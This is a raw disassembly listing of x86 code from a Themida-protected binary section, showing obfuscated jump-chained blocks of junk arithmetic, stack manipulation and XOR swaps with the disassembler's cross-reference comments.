mov ebp, 432C6236h
mov edi, ebp
jmp loc_5A1011
; ---------------------------------------------------------------------------
loc_598342: ; CODE XREF: Themida_:005A1775j
xor [esp], edi
jmp loc_5A1CAE
; ---------------------------------------------------------------------------
loc_59834A: ; CODE XREF: Themida_:00598DE0j
add esp, 4
sub dword ptr [esp+4], 28F728Dh
add [esp+4], eax
push eax
mov eax, 28F728Dh
add [esp+8], eax
pop eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
jmp loc_591BCA
; ---------------------------------------------------------------------------
loc_59837E: ; CODE XREF: Themida_:0059C56Bj
push ecx
jmp loc_5A0114
; ---------------------------------------------------------------------------
loc_598384: ; CODE XREF: Themida_:005926DFj
add ebp, edx
jmp loc_5A2CE1
; ---------------------------------------------------------------------------
loc_59838B: ; CODE XREF: Themida_:00598CCAj
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_59C14D
; ---------------------------------------------------------------------------
loc_598399: ; CODE XREF: Themida_:0059656Fj
add esi, edi
jmp loc_590CF1
; ---------------------------------------------------------------------------
loc_5983A0: ; CODE XREF: Themida_:0059DBC5j
push dword ptr [esp+4]
pop edi
jmp loc_599917
; ---------------------------------------------------------------------------
loc_5983AA: ; CODE XREF: Themida_:0059AA78j
add esp, 4
push edx
mov edx, 1D83610Dh
not edx
jmp loc_59D0E2
; ---------------------------------------------------------------------------
loc_5983BA: ; CODE XREF: Themida_:005950A1j
inc ebp
xor ebp, 884D5A9Bh
sub edx, ebp
pop ebp
jmp loc_59B43D
; ---------------------------------------------------------------------------
loc_5983C9: ; CODE XREF: Themida_:00594FBFj
xor al, ch
mov ecx, [esp]
jmp loc_59E6E2
; ---------------------------------------------------------------------------
loc_5983D3: ; CODE XREF: Themida_:00599C49j
mov [esp], ecx
mov ecx, 17FE789Fh
sub ebp, ecx
pop ecx
pop edx
push edi
push ebp
mov ebp, 2
push ebp
pop edi
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub ebp, edi
jmp loc_59F7AB
; ---------------------------------------------------------------------------
mov cx, [esp]
push 529Ch
jmp loc_5982B1
; ---------------------------------------------------------------------------
loc_59840C: ; CODE XREF: Themida_:00595878j
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59ED4B
; ---------------------------------------------------------------------------
loc_598422: ; CODE XREF: Themida_:0059E282j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push 7121h
mov [esp], esi
mov esi, 24062961h
jmp loc_591F79
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_596222
; ---------------------------------------------------------------------------
loc_598450: ; CODE XREF: Themida_:005A2158j
pop edx
pop eax
push eax
push ebx
mov ebx, 78934F30h
mov eax, 876CB0D4h
add eax, ebx
pop ebx
push 73EDh
mov [esp], ecx
jmp loc_59D5BF
; ---------------------------------------------------------------------------
loc_59846E: ; CODE XREF: Themida_:0059F29Bj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp $+5
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_59C3F4
; ---------------------------------------------------------------------------
loc_59848B: ; CODE XREF: Themida_:0059D61Ej
push 3EFAh
mov [esp], edx
push ecx
push 57965D50h
pop ecx
dec ecx
and ecx, 51E073BDh
xor ecx, 51805129h
mov edx, ecx
jmp loc_59B73E
; ---------------------------------------------------------------------------
loc_5984AE: ; CODE XREF: Themida_:0059F9A6j
pop ebx
sub esi, edi
pop edi
add esi, eax
push 392h
mov [esp], edx
mov edx, 388D7447h
neg edx
jmp loc_593DF3
; ---------------------------------------------------------------------------
loc_5984C8: ; CODE XREF: Themida_:0059159Bj
pop bx
push ebx
mov bh, 4Ah
or bh, 6Eh
shl bh, 1
inc bh
push cx
jmp loc_59E775
; ---------------------------------------------------------------------------
loc_5984DB: ; CODE XREF: Themida_:0059ACE0j
pop ebp
pop dword ptr [esp]
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5984E9: ; CODE XREF: Themida_:0059F205j
sub ebp, 5D87555Fh
jmp loc_5905C5
; ---------------------------------------------------------------------------
loc_5984F4: ; CODE XREF: Themida_:0059A287j
add edx, 6E8344C4h
sub edx, 60DB270Ch
xor edx, 113A6DECh
xor edx, 1D20A41h
xor esi, edx
jmp loc_5986E1
; ---------------------------------------------------------------------------
loc_598513: ; CODE XREF: Themida_:005954ACj
add edi, 51AB00EAh
add edi, eax
jmp loc_599377
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58EEC1
; ---------------------------------------------------------------------------
loc_598528: ; CODE XREF: Themida_:0059948Ej
add esp, 4
push edi
mov edi, 4AAF7F2Bh
and edi, 77971A79h
push 109Fh
mov [esp], ecx
mov ecx, 3D751692h
sub esp, 4
jmp loc_5A1666
; ---------------------------------------------------------------------------
loc_59854F: ; CODE XREF: Themida_:0059F6D7j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shl edi, 4
jmp loc_597D01
; ---------------------------------------------------------------------------
loc_598569: ; CODE XREF: Themida_:00595BEFj
mov [esp], eax
mov eax, 12427FBBh
mov edx, eax
jmp loc_598C68
; ---------------------------------------------------------------------------
loc_598578: ; DATA XREF: Themida_:0058E088o
mov cx, [esp]
push 14D3h
mov [esp], eax
push 5372h
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
pop eax
jmp loc_58EC67
; ---------------------------------------------------------------------------
loc_59859D: ; CODE XREF: Themida_:005A0880j
push ecx
push edi
mov edi, 4
mov ecx, edi
jmp loc_598902
; ---------------------------------------------------------------------------
loc_5985AB: ; CODE XREF: Themida_:00591F4Dj
mov ebp, edx
pop edx
push 394Bh
mov [esp], ebx
push esi
mov esi, 43AB427Ah
mov ebx, 0F477EF0Bh
xor ebx, esi
pop esi
add ebp, ebx
pop ebx
add esi, ebp
pop ebp
jmp loc_59FAE3
; ---------------------------------------------------------------------------
loc_5985CF: ; CODE XREF: Themida_:00595501j
add ecx, edx
add ecx, 33215CF3h
push edx
push 20F7h
mov [esp], ebx
mov bh, al
mov dh, bh
push dword ptr [esp]
pop ebx
add esp, 4
push eax
jmp loc_59079E
; ---------------------------------------------------------------------------
loc_5985F4: ; CODE XREF: Themida_:0059B55Bj
xchg edi, [esp]
pop esp
idiv cx
push small 5AA2h
mov [esp], dx
push ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59860B: ; CODE XREF: Themida_:0059D55Aj
add edi, ebx
push dword ptr [esp]
pop ebx
push ecx
jmp loc_5A1CA7
; ---------------------------------------------------------------------------
loc_598617: ; CODE XREF: Themida_:00597F45j
sub esi, 0E3573A2h
sub esi, eax
add esi, 0E3573A2h
jmp loc_5A00DF
; ---------------------------------------------------------------------------
loc_59862A: ; CODE XREF: Themida_:0059BB1Ej
mov ebp, 438E4292h
sub ebp, 45BD3BC5h
sub ebp, 3D512FA6h
sub ebp, 0B6C09734h
jmp loc_59E4EC
; ---------------------------------------------------------------------------
loc_598646: ; CODE XREF: Themida_:0058F053j
pop dword ptr [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598655: ; CODE XREF: Themida_:0058ED74j
mov [esp], ebp
mov ebp, 53201EF0h
or edi, ebp
pop ebp
push eax
mov eax, 54712h
xor edi, eax
mov eax, [esp]
jmp loc_5912E5
; ---------------------------------------------------------------------------
loc_598670: ; CODE XREF: Themida_:005A2AB5j
xchg esi, ecx
jmp loc_5A0E96
; ---------------------------------------------------------------------------
loc_598677: ; CODE XREF: Themida_:0059FBD2j
add dh, ah
add dh, 58h
pop eax
push edx
mov dl, 3Ah
jmp loc_58E917
; ---------------------------------------------------------------------------
loc_598685: ; CODE XREF: Themida_:005998EEj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push esi
mov esi, 79A55CCEh
shr esi, 5
xchg edx, esi
jmp loc_598237
; ---------------------------------------------------------------------------
loc_5986A8: ; CODE XREF: Themida_:00592E1Cj
mov esi, 21072048h
add ecx, esi
pop esi
push dword ptr [esp]
pop ebx
jmp loc_591F5F
; ---------------------------------------------------------------------------
loc_5986B9: ; CODE XREF: Themida_:005A1380j
pop esp
push esi
mov esi, 4B875EF2h
jmp loc_590F85
; ---------------------------------------------------------------------------
loc_5986C5: ; CODE XREF: Themida_:0059314Cj
push 482Dh
jmp loc_599A4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_5986CF: ; CODE XREF: sub_591554+60C2j
add edi, ebx
jmp loc_596205
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_5986D6: ; CODE XREF: Themida_:0058FCA6j
push eax
mov al, 0D5h
add bh, al
pop eax
jmp loc_59A02B
; ---------------------------------------------------------------------------
loc_5986E1: ; CODE XREF: Themida_:0059850Ej
pop edx
add esi, 0F5D4CFF2h
add eax, 41F83731h
jmp loc_599C19
; ---------------------------------------------------------------------------
loc_5986F2: ; CODE XREF: Themida_:0058F8CFj
pop edx
push ecx
mov ecx, 3D90446Ah
push eax
mov eax, 294464C6h
add ecx, eax
jmp loc_58EDE4
; ---------------------------------------------------------------------------
loc_598706: ; CODE XREF: Themida_:005A2AD1j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_59B971
; ---------------------------------------------------------------------------
loc_598713: ; CODE XREF: Themida_:0059FAD1j
not bx
add bx, 621Ch
add di, bx
jmp loc_59E5F4
; ---------------------------------------------------------------------------
loc_598723: ; CODE XREF: Themida_:00599E81j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push eax
jmp loc_58EA8B
; ---------------------------------------------------------------------------
loc_598749: ; CODE XREF: Themida_:00591779j
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
jmp loc_59A72D
; ---------------------------------------------------------------------------
loc_598754: ; CODE XREF: Themida_:005A127Aj
push 947h
mov [esp], ebp
mov ebp, 702060E4h
add eax, 4A3068D4h
jmp loc_59145B
; ---------------------------------------------------------------------------
loc_59876B: ; CODE XREF: Themida_:00593570j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59A1FF
; ---------------------------------------------------------------------------
loc_59877F: ; CODE XREF: Themida_:0058F165j
add eax, ecx
pop ecx
add eax, ecx
jmp loc_5977ED
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B86E
loc_598791: ; CODE XREF: sub_59B86E+19B3j
add ebx, ebp
pop ebp
xchg ebx, [esp+0Ch+var_C]
jmp loc_59AD56
; END OF FUNCTION CHUNK FOR sub_59B86E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59879C: ; CODE XREF: sub_5A1999-C6FFj
mov ecx, 2EE1B484h
jmp loc_5A261E
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5987A6: ; CODE XREF: Themida_:005A04B9j
pop eax
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
push 24AAh
mov [esp], esi
mov esi, 59A83819h
push 47D7h
mov [esp], edx
jmp loc_59E579
; ---------------------------------------------------------------------------
loc_5987C9: ; CODE XREF: Themida_:00597F30j
mov [esp], ecx
mov ch, 78h
shl ch, 2
sub ch, 3Eh
not ch
push eax
push edx
mov dl, 0ACh
jmp loc_5A005C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 783Ah
mov [esp], ebp
push esp
pop ebp
push edi
mov edi, 14A66EDAh
push ebx
push 25A2h
mov [esp], edi
mov edi, 325920F3h
mov ebx, 41D67DDCh
xor ebx, edi
pop edi
not ebx
shr ebx, 3
jmp loc_5A1B26
; ---------------------------------------------------------------------------
loc_598813: ; CODE XREF: Themida_:005A12F8j
sub dh, 5Fh
sub dh, al
push ecx
mov cl, 0FBh
not cl
shr cl, 1
and cl, 45h
dec cl
not cl
inc cl
sub cl, 0A2h
jmp loc_591625
; ---------------------------------------------------------------------------
loc_598830: ; CODE XREF: Themida_:0059261Fj
pop esp
pop dword ptr [eax]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598838: ; CODE XREF: Themida_:00593D4Fj
add ebx, 0D6757A80h
and edi, ebx
jmp loc_597C19
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
push 6286h
mov [esp], ebx
push ebx
mov ebx, esp
jmp loc_59B17D
; ---------------------------------------------------------------------------
loc_598859: ; CODE XREF: Themida_:0059ABF4j
mov edi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59DC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_598870: ; CODE XREF: sub_591554+B59Fj
mov ebp, 55222139h
or ebp, 0CCB1889h
jmp loc_59E453
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_598880: ; CODE XREF: Themida_:005A21F2j
push ebp
mov ebp, 6AFF245Dh
shr ebp, 5
and ebp, 34A75E13h
jmp loc_59E9BF
; ---------------------------------------------------------------------------
loc_598894: ; CODE XREF: Themida_:00593FACj
inc edi
add edi, 43705051h
or edi, 694E42F1h
jmp loc_593EF1
; ---------------------------------------------------------------------------
loc_5988A6: ; CODE XREF: Themida_:0059FE72j
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_58EF3B
; ---------------------------------------------------------------------------
loc_5988BE: ; CODE XREF: Themida_:00593A6Fj
sub esp, 4
jmp loc_59F2F3
; ---------------------------------------------------------------------------
loc_5988C6: ; CODE XREF: Themida_:00593350j
pop edi
jmp loc_593030
; ---------------------------------------------------------------------------
loc_5988CC: ; CODE XREF: Themida_:00594472j
shr ebx, 8
push edi
mov edi, 3CDE735Ah
inc edi
add edi, 142B07B2h
and ebx, edi
pop edi
push edi
mov edi, 3EAB20C0h
jmp loc_597F6C
; ---------------------------------------------------------------------------
loc_5988EA: ; CODE XREF: Themida_:0059B6BBj
mov al, cl
not al
push edx
jmp loc_59AD0E
; ---------------------------------------------------------------------------
loc_5988F4: ; CODE XREF: Themida_:0059943Fj
pop ebx
add esp, 4
mov edx, eax
jmp loc_590E97
; ---------------------------------------------------------------------------
loc_598902: ; CODE XREF: Themida_:005985A6j
pop edi
add ebx, ecx
jmp loc_5917AF
; ---------------------------------------------------------------------------
loc_59890A: ; CODE XREF: Themida_:0059F050j
add esi, 6E2F032Ah
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
movzx ecx, al
push 4DB7h
mov [esp], ecx
jmp loc_58E353
; ---------------------------------------------------------------------------
mov eax, [esp]
push 5B07h
mov [esp], eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, 4
push edx
mov edx, 77E157C1h
add edx, 0FFFFFFFFh
sub esp, 4
mov [esp], ebp
mov ebp, 155069BFh
sub edx, ebp
jmp loc_58EAA8
; ---------------------------------------------------------------------------
loc_598968: ; CODE XREF: Themida_:0059AA60j
pop eax
shr edx, 2
add edx, 638D39B1h
sub esp, 4
mov [esp], edx
jmp loc_590B2B
; ---------------------------------------------------------------------------
loc_598980: ; CODE XREF: Themida_:005A1D77j
sub ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5A26E3
; ---------------------------------------------------------------------------
loc_598991: ; CODE XREF: Themida_:0059EF81j
dec ecx
dec ecx
not ecx
jmp loc_59A8A5
; ---------------------------------------------------------------------------
loc_59899A: ; CODE XREF: Themida_:005A22FFj
sub esp, 4
mov [esp], edx
mov dl, 0C9h
jmp loc_5A2BAE
; ---------------------------------------------------------------------------
loc_5989AA: ; CODE XREF: Themida_:00596A2Aj
mov edx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
mov ebp, 104538Fh
shl ebp, 7
neg ebp
push edx
mov edx, 8229C784h
add ebp, edx
pop edx
add edx, ebp
pop ebp
push ecx
mov ecx, 3CE0560Eh
xor ecx, 3CE0560Ah
add edx, ecx
mov ecx, [esp]
jmp loc_59FB9E
; ---------------------------------------------------------------------------
loc_5989F5: ; CODE XREF: Themida_:0058F7ECj
mov ebx, 4A763BFEh
push ebp
mov ebp, 47E12075h
inc ebp
push 499Ch
mov [esp], ebx
mov ebx, 3721144h
and ebx, 4F42530Dh
sub ebx, 0C676B2CDh
xor ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, 0A9C7E7Ah
jmp loc_59093B
; ---------------------------------------------------------------------------
loc_598A2D: ; CODE XREF: Themida_:0059A3F0j
and ebp, esi
jmp loc_5A222D
; ---------------------------------------------------------------------------
loc_598A34: ; CODE XREF: Themida_:00599737j
add ebx, ecx
pop ecx
mov ecx, ebx
pop ebx
or ebx, ecx
pop ecx
not ebx
add ebx, 1903681Ch
xor ebx, 9D43C83Ah
mov esi, ebx
pop ebx
and eax, esi
push dword ptr [esp]
pop esi
add esp, 4
shr eax, 0Eh
xor eax, ecx
push eax
xchg ecx, [esp]
push 1EBDh
mov [esp], ecx
xor [esp], eax
xor eax, [esp]
xor [esp], eax
push eax
not dword ptr [esp]
pop eax
xchg eax, [esp]
push dword ptr [esp]
pop ecx
add esp, 4
xor [esp], ecx
xor ecx, [esp]
jmp loc_59E907
; ---------------------------------------------------------------------------
loc_598A8E: ; CODE XREF: Themida_:00598E07j
pop ebp
jmp loc_592538
; ---------------------------------------------------------------------------
loc_598A94: ; CODE XREF: Themida_:0059ADF1j
sub esi, 1E843F39h
add esi, ebp
jmp loc_59E24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_598AA1: ; CODE XREF: sub_59FCFF-59E1j
xor edx, 4466982h
jmp loc_59D483
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_598AAC: ; CODE XREF: Themida_:005A3000j
xor ecx, eax
jmp loc_5A0B11
; ---------------------------------------------------------------------------
loc_598AB3: ; CODE XREF: Themida_:005A0BEEj
mov ebp, 76DF5753h
xor ebp, ebx
mov ebx, [esp]
add esp, 4
sub eax, 610E0FFFh
jmp loc_59E117
; ---------------------------------------------------------------------------
loc_598ACD: ; CODE XREF: Themida_:005A2318j
pop edx
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
push eax
sub esp, 4
mov [esp], ecx
push 499Fh
jmp loc_58F0EC
; ---------------------------------------------------------------------------
loc_598AF7: ; CODE XREF: Themida_:005970C2j
mov ebx, esp
push edi
jmp loc_58EE35
; ---------------------------------------------------------------------------
loc_598AFF: ; CODE XREF: Themida_:00594BABj
; Themida_:0059810Ej ...
mov ebx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ecx
jmp loc_5970C7
; ---------------------------------------------------------------------------
loc_598B10: ; CODE XREF: Themida_:0058FD8Ej
xor ebp, ebx
mov ebx, [esp]
add esp, 4
or ebp, 5C350567h
sub ebp, 23C06D75h
sub esp, 4
mov [esp], eax
push edi
jmp loc_59A5FC
; ---------------------------------------------------------------------------
loc_598B30: ; CODE XREF: Themida_:00595816j
pop edx
pop ebx
push eax
mov eax, 4DE03816h
xor eax, 4DE03812h
push esi
jmp loc_59E47B
; ---------------------------------------------------------------------------
loc_598B43: ; CODE XREF: Themida_:00597FC7j
sub eax, ebp
jmp loc_59F57C
; ---------------------------------------------------------------------------
loc_598B4A: ; CODE XREF: Themida_:00593CDEj
imul cl
movzx cx, ah
jmp loc_5A1AF2
; ---------------------------------------------------------------------------
loc_598B55: ; CODE XREF: Themida_:0059A39Aj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59AF68
; ---------------------------------------------------------------------------
loc_598B6D: ; CODE XREF: Themida_:0059600Dj
add ecx, 3F01435Dh
or esi, ecx
jmp loc_59548D
; ---------------------------------------------------------------------------
loc_598B7A: ; CODE XREF: Themida_:0059E229j
push edx
mov edx, 0E1A5B9F5h
xor ebp, edx
pop edx
jmp loc_594B3F
; ---------------------------------------------------------------------------
loc_598B88: ; DATA XREF: Themida_:0058E244o
mov ax, [esp]
push ebx
jmp loc_599583
; ---------------------------------------------------------------------------
loc_598B92: ; CODE XREF: Themida_:0059EAFEj
add dword ptr [esp], 18C10272h
jmp loc_5A14F4
; ---------------------------------------------------------------------------
loc_598B9E: ; CODE XREF: Themida_:0059FADEj
push dword ptr [esp]
pop esi
push ebp
push 44B4h
mov [esp], esp
jmp loc_5A0929
; ---------------------------------------------------------------------------
loc_598BB0: ; CODE XREF: Themida_:0058E7ECj
xchg ebp, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598BD0: ; CODE XREF: Themida_:0058E62Aj
add edx, ebx
push ebx
mov ebx, 0
add ebx, edx
mov [ebx], al
pop ebx
pop edx
jmp loc_5A0BD4
; ---------------------------------------------------------------------------
loc_598BE3: ; CODE XREF: Themida_:0058F6D0j
pop ebx
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_593624
; ---------------------------------------------------------------------------
loc_598BF0: ; CODE XREF: Themida_:00592D8Aj
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598C25: ; CODE XREF: Themida_:0059B293j
pop dword ptr [esp]
jmp loc_592C69
; ---------------------------------------------------------------------------
loc_598C2D: ; CODE XREF: Themida_:0059F6BBj
add ecx, 504B013Ah
push edx
mov edx, 4D757C0Fh
inc edx
jmp loc_592B44
; ---------------------------------------------------------------------------
loc_598C3F: ; CODE XREF: Themida_:0059C8F9j
pop esi
add ebx, eax
pop eax
xor ebx, [esp]
jmp loc_5A0CB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_598C4B: ; CODE XREF: sub_590877+7277j
push dx
jmp loc_5A32EA
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_598C52: ; CODE XREF: Themida_:0059AD30j
add edx, eax
sub edx, 0C0F34F5h
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598C5F: ; CODE XREF: Themida_:0059FB7Ej
push dword ptr [esp+4]
jmp loc_596458
; ---------------------------------------------------------------------------
loc_598C68: ; CODE XREF: Themida_:00598573j
mov eax, [esp]
add esp, 4
neg edx
jmp loc_598FB0
; ---------------------------------------------------------------------------
loc_598C78: ; CODE XREF: Themida_:005943D0j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ebp, esi
pop esi
add edi, 269A3E4Dh
add edi, ebp
sub edi, 269A3E4Dh
mov ebp, [esp]
add esp, 4
push 63AEh
mov [esp], edx
mov edx, 4724995h
sub edx, 4724991h
add edi, edx
pop edx
xor edi, [esp]
jmp loc_58F2D8
; ---------------------------------------------------------------------------
loc_598CBF: ; CODE XREF: Themida_:00593B94j
mov edi, 2
add ecx, edi
pop edi
xor ecx, [esp]
jmp loc_59838B
; ---------------------------------------------------------------------------
loc_598CCF: ; CODE XREF: Themida_:00598F96j
sub eax, 63D137Bh
mov edx, [esp]
jmp loc_5A2827
; ---------------------------------------------------------------------------
loc_598CDC: ; CODE XREF: Themida_:00593162j
mov [esp], eax
jmp loc_59C514
; ---------------------------------------------------------------------------
loc_598CE4: ; CODE XREF: Themida_:0058F615j
mov ecx, [esp]
add esp, 4
sub eax, 124F1075h
add eax, ebp
add eax, 124F1075h
pop ebp
add eax, edi
push edx
mov edx, 195B7303h
shr edx, 4
jmp loc_596DFC
; ---------------------------------------------------------------------------
loc_598D07: ; CODE XREF: Themida_:00590804j
mov [esp], ecx
push 54370BE9h
jmp loc_58F076
; ---------------------------------------------------------------------------
loc_598D14: ; CODE XREF: Themida_:0059BFC0j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], eax
push ebp
push 5FCC0766h
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59F8F7
; ---------------------------------------------------------------------------
loc_598D33: ; CODE XREF: Themida_:0059F28Cj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
jmp loc_590A0E
; ---------------------------------------------------------------------------
loc_598D4D: ; CODE XREF: Themida_:0058E758j
pop eax
pop ebp
add ebp, 4
jmp loc_59071E
; ---------------------------------------------------------------------------
loc_598D5A: ; CODE XREF: Themida_:00595DABj
add edx, esi
mov esi, [esp]
add esp, 4
inc edx
push edi
mov edi, 0B9FC7161h
xor edx, edi
pop edi
sub ebx, 51B65D8h
sub ebx, edx
add ebx, 51B65D8h
mov edx, [esp]
add esp, 4
sub ebx, 0FFFFFFFFh
shl ebx, 5
sub esp, 4
jmp loc_599E2A
; ---------------------------------------------------------------------------
loc_598D91: ; CODE XREF: Themida_:005929F7j
push eax
mov eax, 0E4118AEh
or eax, 45030CA3h
xor eax, 5E7E351Ch
add edi, eax
pop eax
mov esi, [esp]
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598DB0: ; CODE XREF: Themida_:00595938j
shr esi, 7
xor esi, 1C06730h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59B062
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push eax
push ebp
mov ebp, 48B2C98h
push ebp
pop eax
mov ebp, [esp]
jmp loc_59834A
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
jmp loc_592215
; ---------------------------------------------------------------------------
loc_598DF1: ; CODE XREF: Themida_:00590241j
sub edx, 4
jmp loc_59D7B2
; ---------------------------------------------------------------------------
loc_598DF9: ; CODE XREF: Themida_:005A094Dj
sub ebp, 64D5377h
sub ebp, 0F43D7C11h
mov ebx, ebp
jmp loc_598A8E
; ---------------------------------------------------------------------------
loc_598E0C: ; CODE XREF: Themida_:0059BFE2j
mov [esp], ebx
jmp loc_5903B8
; ---------------------------------------------------------------------------
loc_598E14: ; CODE XREF: Themida_:00596E08j
push ecx
mov ecx, 4
push edi
jmp loc_592FF5
; ---------------------------------------------------------------------------
loc_598E20: ; CODE XREF: Themida_:0059A698j
add ecx, esi
push 0A13h
jmp loc_5968C0
; ---------------------------------------------------------------------------
loc_598E2C: ; CODE XREF: Themida_:005908AEj
add esp, 4
mov cl, dh
mov edx, [esp]
push edi
push esp
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_5A0140
; ---------------------------------------------------------------------------
loc_598E4A: ; CODE XREF: Themida_:00597AD0j
add eax, 0BCE4E51Bh
xor edx, eax
pop eax
not edx
xor edx, 0C9AA486Fh
jmp loc_59B2EB
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1D5Ch
jmp loc_59B0F7
; ---------------------------------------------------------------------------
loc_598E6D: ; CODE XREF: Themida_:0059F723j
push edi
mov edi, 4
add ecx, edi
jmp loc_590CCD
; ---------------------------------------------------------------------------
loc_598E7A: ; CODE XREF: Themida_:00599F75j
dec edi
sub edi, 80889F8Ah
add ebx, edi
pop edi
push 143Ah
mov [esp], edi
jmp loc_59329C
; ---------------------------------------------------------------------------
loc_598E91: ; CODE XREF: Themida_:00591699j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_593A4D
; ---------------------------------------------------------------------------
loc_598E9F: ; CODE XREF: Themida_:0059266Fj
shl ecx, 3
and ecx, 54E800FDh
xor ecx, 14902DE6h
xor ebp, ecx
pop ecx
push ebp
inc dword ptr [esp]
jmp loc_594D97
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3810h
mov [esp], edi
mov edi, esp
push 4D47h
mov [esp], ecx
mov ecx, 4
sub esp, 4
jmp loc_591828
; ---------------------------------------------------------------------------
loc_598EDD: ; CODE XREF: Themida_:0059DCD7j
add edx, 4
xchg edx, [esp]
jmp loc_59F276
; ---------------------------------------------------------------------------
loc_598EE8: ; CODE XREF: Themida_:005A05B7j
pop edx
add eax, ebx
push edx
mov edx, 71C3186Eh
add edx, 8F9635Dh
or edx, 68E04AAAh
xor edx, 479A07EAh
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_591ABC
; ---------------------------------------------------------------------------
loc_598F10: ; CODE XREF: Themida_:0058ECA8j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_59561C
; ---------------------------------------------------------------------------
loc_598F22: ; CODE XREF: Themida_:00597E18j
push esi
push dword ptr [esp+4]
pop esi
jmp loc_599451
; ---------------------------------------------------------------------------
loc_598F2D: ; CODE XREF: Themida_:005A1D3Ej
shr dh, 3
add dh, 0F2h
sub ah, dh
jmp loc_59F413
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_598F3A: ; CODE XREF: sub_590877+F384j
push [esp-8+arg_4]
jmp loc_595746
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_598F42: ; CODE XREF: Themida_:005A2F57j
add edx, eax
mov eax, [esp]
jmp loc_59BFA1
